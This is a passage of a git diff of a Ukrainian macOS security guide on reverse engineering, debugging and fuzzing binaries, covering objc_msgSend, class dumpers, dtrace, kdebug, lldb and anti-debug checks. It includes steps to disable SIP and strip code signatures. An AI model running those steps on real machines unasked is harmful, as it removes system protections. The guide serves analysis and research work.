Зверніть увагу, що ці імена можуть бути затемнені, щоб ускладнити розбір бінарного коду.
|
||||
|
||||
Коли функція викликається в бінарному файлі, який використовує Objective-C, скомпільований код замість виклику цієї функції буде викликати **`objc_msgSend`**. Це викличе останню функцію:
|
||||
### Виклик функцій
|
||||
|
||||
![](<../../../.gitbook/assets/image (560).png>)
|
||||
Коли функція викликається в бінарному файлі, який використовує Objective-C, скомпільований код замість виклику цієї функції буде викликати **`objc_msgSend`**. Це викличе остаточну функцію:
|
||||
|
||||
Параметри, які очікує ця функція, такі:
|
||||
![](<../../../.gitbook/assets/image (305).png>)
|
||||
|
||||
* Перший параметр (**self**) - "вказівник, який вказує на **екземпляр класу, який має отримати повідомлення**". Іншими словами, це об'єкт, на якому викликається метод. Якщо метод є методом класу, це буде екземпляр об'єкта класу (в цілому), тоді як для методу екземпляру self буде вказувати на створений екземпляр класу як на об'єкт.
|
||||
Параметри, які очікує ця функція, це:
|
||||
|
||||
* Перший параметр (**self**) - "вказівник, який вказує на **екземпляр класу, який має отримати повідомлення**". Іншими словами, це об'єкт, на якому викликається метод. Якщо метод є методом класу, це буде екземпляр об'єкта класу (в цілому), тоді як для методу екземпляра self вказуватиме на створений екземпляр класу як об'єкт.
|
||||
* Другий параметр (**op**) - "селектор методу, який обробляє повідомлення". Це просто **ім'я методу**.
|
||||
* Решта параметрів - будь-які **значення, які потрібні методу** (op).
|
||||
* Решта параметрів - будь-які **значення, які потрібні для методу** (op).
|
||||
|
||||
Дивіться, як **легко отримати цю інформацію за допомогою `lldb` в ARM64** на цій сторінці:
|
||||
|
||||
|
@ -135,17 +168,48 @@ x64:
|
|||
|
||||
| **Аргумент** | **Регістр** | **(для) objc\_msgSend** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1-й аргумент** | **rdi** | **self: об'єкт, на якому викликається метод** |
|
||||
| **1-й аргумент** | **rdi** | **self: об'єкт, на якому викликається метод** |
|
||||
| **2-й аргумент** | **rsi** | **op: ім'я методу** |
|
||||
| **3-й аргумент** | **rdx** | **1-й аргумент методу** |
|
||||
| **4-й аргумент** | **rcx** | **2-й аргумент методу** |
|
||||
| **5-й аргумент** | **r8** | **3-й аргумент методу** |
|
||||
| **6-й аргумент** | **r9** | **4-й аргумент методу** |
|
||||
| **7-й+ аргумент** | <p><strong>rsp+</strong><br><strong>(на стеку)</strong></p> | **5-й+ аргумент методу** |
|
||||
| **7+ аргумент** | <p><strong>rsp+</strong><br><strong>(на стеку)</strong></p> | **5+ аргумент методу** |
|
||||
|
||||
### Swift
|
||||
### Вивантаження метаданих ObjectiveC
|
||||
|
||||
У бінарних файлах Swift, оскільки є сумісність з Objective-C, іноді можна видобути оголошення за допомогою [class-dump](https://github.com/nygard/class-dump/), але не завжди.
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) - це інструмент для розбору класів бінарних файлів Objective-C. У репозиторії GitHub зазначено dylibs, але це також працює з виконуваними файлами.
|
||||
```bash
|
||||
./dynadump dump /path/to/bin
|
||||
```
|
||||
На момент написання, це **зараз працює краще за все**.
|
||||
|
||||
#### Звичайні інструменти
|
||||
```bash
|
||||
nm --dyldinfo-only /path/to/bin
|
||||
otool -ov /path/to/bin
|
||||
objdump --macho --objc-meta-data /path/to/bin
|
||||
```
|
||||
#### class-dump
|
||||
|
||||
[**class-dump**](https://github.com/nygard/class-dump/) - це оригінальний інструмент для генерації декларацій для класів, категорій та протоколів у форматованому коді ObjetiveC.
|
||||
|
||||
Це старий і не підтримуваний інструмент, тому ймовірно, що він не працюватиме належним чином.
|
||||
|
||||
#### ICDump
|
||||
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) - це сучасний та крос-платформений дамп класів Objective-C. Порівняно з існуючими інструментами, iCDump може працювати незалежно від екосистеми Apple та надає зв'язки з Python.
|
||||
```python
|
||||
import icdump
|
||||
metadata = icdump.objc.parse("/path/to/bin")
|
||||
|
||||
print(metadata.to_decl())
|
||||
```
|
||||
## Статичний аналіз Swift
|
||||
|
||||
З Swift бінарними файлами, оскільки є сумісність з Objective-C, іноді можна видобути оголошення, використовуючи [class-dump](https://github.com/nygard/class-dump/), але не завжди.
|
||||
|
||||
За допомогою командних рядків **`jtool -l`** або **`otool -l`** можна знайти кілька розділів, які починаються з префікса **`__swift5`**:
|
||||
```bash
|
||||
|
@ -159,9 +223,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
|||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
[...]
|
||||
```
|
||||
Ви можете знайти додаткову інформацію про **інформацію, збережену в цих розділах, у цьому дописі в блозі**.
|
||||
Ви можете знайти додаткову інформацію про **інформацію, збережену в цих розділах, у цьому дописі блогу**.
|
||||
|
||||
Більше того, **бінарні файли Swift можуть містити символи** (наприклад, бібліотеки повинні зберігати символи, щоб їх функції можна було викликати). **Символи зазвичай містять інформацію про назву функції** та атрибути у вигляді некрасивого тексту, тому вони є дуже корисними, і є "**деманглери"**, які можуть отримати початкову назву:
|
||||
Більше того, **бінарні файли Swift можуть містити символи** (наприклад, бібліотеки повинні зберігати символи, щоб їх функції можна було викликати). **Символи зазвичай містять інформацію про назву функції** та атрибути у некрасивому вигляді, тому вони дуже корисні, і є "**деманглери"**, які можуть отримати початкову назву:
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
|
@ -169,45 +233,62 @@ https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
|||
# Swift cli
|
||||
swift demangle
|
||||
```
|
||||
### Упаковані бінарні файли
|
||||
|
||||
* Перевірте високу ентропію
|
||||
* Перевірте рядки (якщо там майже немає зрозумілих рядків, то файл упакований)
|
||||
* Упаковувач UPX для MacOS генерує розділ під назвою "\_\_XHDR"
|
||||
|
||||
## Динамічний аналіз
|
||||
|
||||
{% hint style="warning" %}
|
||||
Зверніть увагу, що для налагодження бінарних файлів **SIP повинен бути вимкнений** (`csrutil disable` або `csrutil enable --without debug`) або скопіювати файли в тимчасову папку та **видалити підпис** за допомогою `codesign --remove-signature <шлях-до-бінарного-файлу>` або дозволити налагодження бінарного файлу (можна використовувати [цей скрипт](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
Зверніть увагу, що для налагодження бінарних файлів **SIP повинен бути вимкнений** (`csrutil disable` або `csrutil enable --without debug`) або скопіювати бінарні файли в тимчасову теку та **видалити підпис** за допомогою `codesign --remove-signature <шлях-до-бінарного-файлу>` або дозволити налагодження бінарного файлу (можна скористатися [цим скриптом](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Зверніть увагу, що для **інструментування системних бінарних файлів** (таких як `cloudconfigurationd`) на macOS, **SIP повинен бути вимкнений** (просто видалення підпису не працюватиме).
|
||||
{% endhint %}
|
||||
|
||||
### APIs
|
||||
|
||||
macOS надає деякі цікаві API, які надають інформацію про процеси:
|
||||
|
||||
* `proc_info`: Це основний, що надає багато інформації про кожен процес. Вам потрібно мати права root, щоб отримати інформацію про інші процеси, але вам не потрібні спеціальні дозволи або порти mach.
|
||||
* `libsysmon.dylib`: Це дозволяє отримувати інформацію про процеси через викладені функції XPC, однак для цього потрібно мати дозвіл `com.apple.sysmond.client`.
|
||||
|
||||
### Stackshot та microstackshots
|
||||
|
||||
**Stackshotting** - це техніка, яка використовується для захоплення стану процесів, включаючи стеки викликів усіх запущених потоків. Це особливо корисно для налагодження, аналізу продуктивності та розуміння поведінки системи в конкретний момент часу. На iOS та macOS stackshotting можна виконати за допомогою кількох інструментів та методів, таких як інструменти **`sample`** та **`spindump`**.
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
Цей інструмент (`/usr/bini/ysdiagnose`) в основному збирає багато інформації з вашого комп'ютера, виконуючи десятки різних команд, таких як `ps`, `zprint`...
|
||||
|
||||
Він повинен бути запущений як **root**, а демон `/usr/libexec/sysdiagnosed` має дуже цікаві дозволи, такі як `com.apple.system-task-ports` та `get-task-allow`.
|
||||
|
||||
Його plist розташований в `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`, який оголошує 3 MachServices:
|
||||
|
||||
* `com.apple.sysdiagnose.CacheDelete`: Видаляє старі архіви в /var/rmp
|
||||
* `com.apple.sysdiagnose.kernel.ipc`: Спеціальний порт 23 (ядро)
|
||||
* `com.apple.sysdiagnose.service.xpc`: Інтерфейс режиму користувача через клас `Libsysdiagnose` Obj-C. Три аргументи в словнику можуть бути передані (`compress`, `display`, `run`)
|
||||
|
||||
### Об'єднані журнали
|
||||
|
||||
MacOS генерує багато журналів, які можуть бути дуже корисними при запуску додатка для розуміння **що він робить**.
|
||||
macOS генерує багато журналів, які можуть бути дуже корисними при запуску додатка для розуміння **що він робить**.
|
||||
|
||||
Більше того, є деякі журнали, які міститимуть тег `<private>`, щоб **приховати** деяку **інформацію про користувача** або **комп'ютер**. Однак можна **встановити сертифікат для розкриття цієї інформації**. Дотримуйтесь пояснень [**тут**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
Більше того, є деякі журнали, які міститимуть тег `<private>`, щоб **приховати** деяку **ідентифіковану** інформацію про **користувача** або **комп'ютер**. Однак можна **встановити сертифікат для розкриття цієї інформації**. Дотримуйтесь пояснень з [**тут**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
|
||||
### Hopper
|
||||
|
||||
#### Ліва панель
|
||||
|
||||
У лівій панелі hopper можна побачити символи (**Мітки**) бінарного файлу, список процедур та функцій (**Proc**) та рядки (**Str**). Це не всі рядки, але ті, що визначені в кількох частинах файлу Mac-O (наприклад, _cstring або `objc_methname`).
|
||||
У лівій панелі hopper можна побачити символи (**Мітки**) бінарного файлу, список процедур та функцій (**Proc**) та рядки (**Str**). Це не всі рядки, але ті, що визначені в кількох частинах файлу Mac-O (наприклад _cstring або_ `objc_methname`).
|
||||
|
||||
#### Середня панель
|
||||
|
||||
У середній панелі ви можете побачити **розібраний код**. І ви можете побачити його у вигляді **сирого** розібрання, у вигляді **графа**, у вигляді **декомпільованого** та у вигляді **бінарного** файлу, натиснувши на відповідний значок:
|
||||
У середній панелі ви можете побачити **розібраний код**. І ви можете побачити його у **сирому** розібранні, як **граф**, як **декомпільований** та як **бінарний**, натиснувши на відповідний значок:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Клацнувши правою кнопкою миші на об'єкті коду, ви можете побачити **посилання на/з цього об'єкту** або навіть змінити його назву (це не працює в декомпільованому псевдокоді):
|
||||
Клацнувши правою кнопкою миші на об'єкті коду, ви можете побачити **посилання на/від цього об'єкту** або навіть змінити його ім'я (це не працює в декомпільованому псевдокоді):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Більше того, у **середній частині ви можете вводити команди Python**.
|
||||
Більше того, у **середній нижній частині ви можете вводити команди python**.
|
||||
|
||||
#### Права панель
|
||||
|
||||
|
@ -215,7 +296,7 @@ MacOS генерує багато журналів, які можуть бути
|
|||
|
||||
### dtrace
|
||||
|
||||
Це дозволяє користувачам отримати доступ до додатків на дуже **низькому рівні** і надає можливість користувачам **відстежувати програми** та навіть змінювати їхній хід виконання. Dtrace використовує **проби**, які розміщені по всьому ядру і знаходяться в таких місцях, як початок та кінець системних викликів.
|
||||
Це дозволяє користувачам отримати доступ до додатків на дуже **низькому рівні** та надає спосіб користувачам **слідкувати** за **програмами** та навіть змінювати їхній хід виконання. Dtrace використовує **проби**, які розміщені по всьому ядру і знаходяться в таких місцях, як початок та кінець системних викликів.
|
||||
|
||||
DTrace використовує функцію **`dtrace_probe_create`** для створення проби для кожного системного виклику. Ці проби можуть бути викликані в **точці входу та виходу кожного системного виклику**. Взаємодія з DTrace відбувається через /dev/dtrace, який доступний лише для користувача root.
|
||||
|
||||
|
@ -235,7 +316,7 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
43 profile profile-97
|
||||
44 profile profile-199
|
||||
```
|
||||
Ім'я зонду складається з чотирьох частин: постачальник, модуль, функція та назва (`fbt:mach_kernel:ptrace:entry`). Якщо ви не вказуєте деяку частину імені, Dtrace застосує цю частину як шаблон.
|
||||
Назва зонду складається з чотирьох частин: постачальник, модуль, функція та назва (`fbt:mach_kernel:ptrace:entry`). Якщо ви не вказуєте деяку частину назви, Dtrace застосує цю частину як шаблон.
|
||||
|
||||
Для налаштування DTrace для активації зондів та вказівки дій, які слід виконати при їх спрацюванні, нам знадобиться використовувати мову D.
|
||||
|
||||
|
@ -293,22 +374,60 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
|||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### kdebug
|
||||
|
||||
Це засіб відстеження ядра. Документовані коди можна знайти в **`/usr/share/misc/trace.codes`**.
|
||||
|
||||
Інструменти, такі як `latency`, `sc_usage`, `fs_usage` та `trace`, використовують його внутрішньо.
|
||||
|
||||
Для взаємодії з `kdebug` використовується `sysctl` через простір імен `kern.kdebug`, а MIB-об'єкти для використання можна знайти в `sys/sysctl.h`, де функції реалізовані в `bsd/kern/kdebug.c`.
|
||||
|
||||
Для взаємодії з kdebug з власним клієнтом зазвичай виконуються такі кроки:
|
||||
|
||||
* Видалити існуючі налаштування за допомогою KERN\_KDSETREMOVE
|
||||
* Встановити слідкування за допомогою KERN\_KDSETBUF та KERN\_KDSETUP
|
||||
* Використовуйте KERN\_KDGETBUF, щоб отримати кількість записів у буфері
|
||||
* Отримайте власного клієнта зі слідкування за допомогою KERN\_KDPINDEX
|
||||
* Увімкніть слідкування за допомогою KERN\_KDENABLE
|
||||
* Прочитайте буфер, викликаючи KERN\_KDREADTR
|
||||
* Для відповідності кожного потоку його процесу викличте KERN\_KDTHRMAP.
|
||||
|
||||
Для отримання цієї інформації можна використовувати інструмент Apple **`trace`** або власний інструмент [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
|
||||
|
||||
**Зауважте, що Kdebug доступний лише для 1 клієнта одночасно.** Таким чином, одночасно може виконуватися лише один інструмент, який працює на основі k-debug.
|
||||
|
||||
### ktrace
|
||||
|
||||
Ви можете використовувати цей навіть з **активованим SIP**
|
||||
API `ktrace_*` походять з `libktrace.dylib`, яка обгортає ті, що використовуються в `Kdebug`. Після цього клієнт може просто викликати `ktrace_session_create` та `ktrace_events_[single/class]`, щоб встановити зворотні виклики на конкретні коди, а потім запустити його за допомогою `ktrace_start`.
|
||||
|
||||
Ви можете використовувати це навіть з **SIP активованим**
|
||||
|
||||
Ви можете використовувати як клієнти утиліту `ktrace`:
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
Або `tailspin`.
|
||||
|
||||
### kperf
|
||||
|
||||
Це використовується для профілювання на рівні ядра і побудоване за допомогою викликів `Kdebug`.
|
||||
|
||||
Основна змінна `kernel_debug_active` перевіряється, і якщо вона встановлена, викликається `kperf_kdebug_handler` з кодом `Kdebug` та адресою виклику ядра. Якщо код `Kdebug` відповідає вибраному, отримує "дії", налаштовані як бітова карта (перевірте `osfmk/kperf/action.h` для варіантів).
|
||||
|
||||
У Kperf також є таблиця MIB sysctl: (як root) `sysctl kperf`. Цей код можна знайти в `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
Крім того, підмножина функціоналу Kperf знаходиться в `kpc`, яка надає інформацію про лічильники продуктивності машини.
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) - дуже корисний інструмент для перевірки дій, пов'язаних з процесом, які виконує процес (наприклад, відстеження нових процесів, які створює процес).
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) - це дуже корисний інструмент для перевірки дій, пов'язаних з процесами, які виконує процес (наприклад, відстеження нових процесів, які створює процес).
|
||||
|
||||
### SpriteTree
|
||||
|
||||
[**SpriteTree**](https://themittenmac.com/tools/) - це інструмент для відображення зв'язків між процесами.\
|
||||
Вам потрібно відстежувати ваш Mac за допомогою команди, подібної **`sudo eslogger fork exec rename create > cap.json`** (для запуску цієї команди потрібні FDA). Після цього ви можете завантажити json у цей інструмент, щоб переглянути всі зв'язки:
|
||||
[**SpriteTree**](https://themittenmac.com/tools/) - це інструмент для відображення взаємозв'язків між процесами.\
|
||||
Вам потрібно відстежувати свій Mac за допомогою команди, подібної **`sudo eslogger fork exec rename create > cap.json`** (термінал, що запускає це, потребує FDA). Потім ви можете завантажити json у цей інструмент, щоб переглянути всі взаємозв'язки:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (710).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
### FileMonitor
|
||||
|
||||
|
@ -316,13 +435,13 @@ ktrace trace -s -S -t c -c ls | grep "ls("
|
|||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) - це GUI-інструмент з виглядом, який користувачі Windows можуть знати з _Procmon_ від Microsoft Sysinternal. Цей інструмент дозволяє починати та зупиняти запис різних типів подій, фільтрувати ці події за категоріями, такими як файл, процес, мережа і т. д., і надає функціонал для збереження записаних подій у форматі json.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) - це графічний інструмент з виглядом, який користувачі Windows можуть знати з _Procmon_ від Microsoft Sysinternal. Цей інструмент дозволяє почати та зупинити запис різних типів подій, фільтрувати ці події за категоріями, такими як файл, процес, мережа і т. д., і надає функціонал для збереження записаних подій у форматі json.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) є частиною інструментів розробника Xcode, які використовуються для моніторингу продуктивності додатків, виявлення витоків пам'яті та відстеження активності файлової системи.
|
||||
|
||||
![](<../../../.gitbook/assets/image (15).png>)
|
||||
![](<../../../.gitbook/assets/image (1138).png>)
|
||||
|
||||
### fs\_usage
|
||||
|
||||
|
@ -333,8 +452,8 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
```
|
||||
### TaskExplorer
|
||||
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) корисний для перегляду **бібліотек**, які використовує бінарний файл, **файлів**, які він використовує, та **мережевих** підключень.\
|
||||
Також перевіряє процеси бінарного файлу на **virustotal** та показує інформацію про бінарний файл.
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) корисний для перегляду **бібліотек**, які використовує бінарний файл, **файлів**, які він використовує, та **мережевих** з'єднань.\
|
||||
Також перевіряє процеси бінарного файлу на предмет **virustotal** та показує інформацію про бінарний файл.
|
||||
|
||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
|
@ -349,18 +468,18 @@ lldb -p 1122
|
|||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
Ви можете встановити intel flavour при використанні lldb, створивши файл з назвою **`.lldbinit`** у вашій домашній папці з наступним рядком:
|
||||
Ви можете встановити intel flavour при використанні lldb, створивши файл під назвою **`.lldbinit`** у вашій домашній папці з наступним рядком:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
У ллдб виведіть процес за допомогою `process save-core`
|
||||
Усередині lldb виведіть процес за допомогою `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Команда</strong></td><td><strong>Опис</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Початок виконання, яке триватиме безперервно до того, як буде досягнуто точку зупинки або процес завершиться.</td></tr><tr><td><strong>continue (c)</strong></td><td>Продовжити виконання відлагоджуваного процесу.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Виконати наступну інструкцію. Ця команда пропустить виклики функцій.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Виконати наступну інструкцію. На відміну від команди nexti, ця команда увійде в виклики функцій.</td></tr><tr><td><strong>finish (f)</strong></td><td>Виконати решту інструкцій у поточній функції ("фрейм") повернутися і зупинитися.</td></tr><tr><td><strong>control + c</strong></td><td>Призупинити виконання. Якщо процес був запущений (r) або продовжений (c), це призведе до зупинки процесу ...де він в даний момент виконується.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Будь-яка функція з ім'ям main</p><p>b <binname>`main #Основна функція бінарного файлу</p><p>b set -n main --shlib <lib_name> #Основна функція вказаного бінарного файлу</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Список точок зупинки</p><p>br e/dis <num> #Увімкнути/вимкнути точку зупинки</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Отримати довідку про команду точки зупинки</p><p>help memory write #Отримати довідку щодо запису в пам'ять</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address</strong></td><td>Показати пам'ять як рядок з нульовим завершенням.</td></tr><tr><td><strong>x/i <reg/memory address</strong></td><td>Показати пам'ять як машинну інструкцію.</td></tr><tr><td><strong>x/b <reg/memory address</strong></td><td>Показати пам'ять як байт.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Це виведе об'єкт, на який посилається параметр</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Зверніть увагу, що більшість API або методів Objective-C Apple повертають об'єкти, тому їх слід відображати за допомогою команди "print object" (po). Якщо po не виводить змістовний результат, використовуйте <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Записати AAAA за цією адресою<br>memory write -f s $rip+0x11f+7 "AAAA" #Записати AAAA за адресою</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Розібрати поточну функцію</p><p>dis -n <funcname> #Розібрати функцію</p><p>dis -n <funcname> -b <basename> #Розібрати функцію<br>dis -c 6 #Розібрати 6 рядків<br>dis -c 0x100003764 -e 0x100003768 # Від однієї адреси до іншої<br>dis -p -c 4 # Почати розібрати з поточної адреси</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Перевірити масив з 3 компонентами в регістрі x1</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Команда</strong></td><td><strong>Опис</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Початок виконання, яке триватиме безперервно до того, як буде досягнуто точку зупинки або процес завершиться.</td></tr><tr><td><strong>continue (c)</strong></td><td>Продовжити виконання процесу, який відлагоджується.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Виконати наступну інструкцію. Ця команда пропустить виклики функцій.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Виконати наступну інструкцію. На відміну від команди nexti, ця команда увійде в виклики функцій.</td></tr><tr><td><strong>finish (f)</strong></td><td>Виконати решту інструкцій у поточній функції ("фрейм") та зупинити виконання.</td></tr><tr><td><strong>control + c</strong></td><td>Призупинити виконання. Якщо процес був запущений (r) або продовжений (c), це призведе до зупинки процесу ... де б він зараз виконувався.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Будь-яка функція з ім'ям main</p><p>b <binname>`main #Головна функція бінарного файлу</p><p>b set -n main --shlib <lib_name> #Головна функція вказаного бінарного файлу</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Список точок зупинки</p><p>br e/dis <num> #Увімкнути/вимкнути точку зупинки</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Отримати довідку про команду точки зупинки</p><p>help memory write #Отримати довідку щодо запису в пам'ять</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address</strong></td><td>Показати пам'ять як рядок з завершенням нульового символу.</td></tr><tr><td><strong>x/i <reg/memory address</strong></td><td>Показати пам'ять як машинну інструкцію.</td></tr><tr><td><strong>x/b <reg/memory address</strong></td><td>Показати пам'ять як байт.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Це виведе об'єкт, на який посилається параметр</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Зверніть увагу, що більшість API-інтерфейсів або методів Objective-C від Apple повертають об'єкти, тому їх слід відображати за допомогою команди "print object" (po). Якщо po не виводить змістовний результат, використовуйте <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Записати AAAA за цією адресою<br>memory write -f s $rip+0x11f+7 "AAAA" #Записати AAAA за адресою</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Розібрати поточну функцію</p><p>dis -n <funcname> #Розібрати функцію</p><p>dis -n <funcname> -b <basename> #Розібрати функцію<br>dis -c 6 #Розібрати 6 рядків<br>dis -c 0x100003764 -e 0x100003768 # Від однієї адреси до іншої<br>dis -p -c 4 # Почати розібрати з поточної адреси</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Перевірити масив з 3 компонентами в регістрі x1</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
При виклику функції **`objc_sendMsg`**, регістр **rsi** містить **ім'я методу** як рядок з нульовим завершенням ("C"). Щоб вивести ім'я через lldb, виконайте:
|
||||
При виклику функції **`objc_sendMsg`**, регістр **rsi** містить **ім'я методу** як рядок з завершенням нульового символу ("C"). Щоб вивести ім'я через lldb, виконайте:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -380,16 +499,26 @@ settings set target.x86-disassembly-flavor intel
|
|||
* Також можна виявити, чи процес **відлагоджується** за допомогою простого коду, наприклад:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //процес відлагоджується }`
|
||||
* Також можна викликати системний виклик **`ptrace`** з прапорцем **`PT_DENY_ATTACH`**. Це **запобігає** приєднанню та відстеженню відлагоджувача.
|
||||
* Можна перевірити, чи **імпортується** функція **`sysctl`** або **`ptrace`** (але шкідлива програма може імпортувати її динамічно)
|
||||
* Можна перевірити, чи функція **`sysctl`** або **`ptrace`** імпортується (але шкідлива програма може імпортувати її динамічно)
|
||||
* Як вказано в цьому огляді, “[Перемога над анти-відлагоджувальними техніками: варіанти macOS ptrace](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_Повідомлення Процес # завершився з **статусом = 45 (0x0000002d)** зазвичай є вказівкою на те, що ціль відлагоджування використовує **PT\_DENY\_ATTACH**_”
|
||||
## Ядерні дампи
|
||||
|
||||
Ядерні дампи створюються, якщо:
|
||||
|
||||
- `kern.coredump` sysctl встановлено на 1 (за замовчуванням)
|
||||
- Якщо процес не був suid/sgid або `kern.sugid_coredump` дорівнює 1 (за замовчуванням 0)
|
||||
- Ліміт `AS_CORE` дозволяє операцію. Можливо приглушити створення ядерних дампів, викликавши `ulimit -c 0`, і знову їх увімкнути за допомогою `ulimit -c unlimited`.
|
||||
|
||||
У цих випадках ядерні дампи генеруються відповідно до `kern.corefile` sysctl і зазвичай зберігаються в `/cores/core/.%P`.
|
||||
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **аналізує процеси, які виходять з ладу, та зберігає звіт про збій на диск**. Звіт про збій містить інформацію, яка може **допомогти розробнику діагностувати** причину збою.\
|
||||
Для додатків та інших процесів, які **працюють в контексті запуску користувача**, ReportCrash працює як LaunchAgent та зберігає звіти про збої в `~/Library/Logs/DiagnosticReports/` користувача\
|
||||
Для демонів, інших процесів, які **працюють в контексті запуску системи** та інших привілейованих процесів, ReportCrash працює як LaunchDaemon та зберігає звіти про збої в `/Library/Logs/DiagnosticReports`
|
||||
ReportCrash **аналізує процеси, що призводять до збоїв, і зберігає звіт про збій на диск**. Звіт про збій містить інформацію, яка може **допомогти розробнику діагностувати** причину збою.\
|
||||
Для додатків та інших процесів, що **працюють в контексті запуску користувача**, ReportCrash працює як LaunchAgent і зберігає звіти про збої в `~/Library/Logs/DiagnosticReports/` користувача\
|
||||
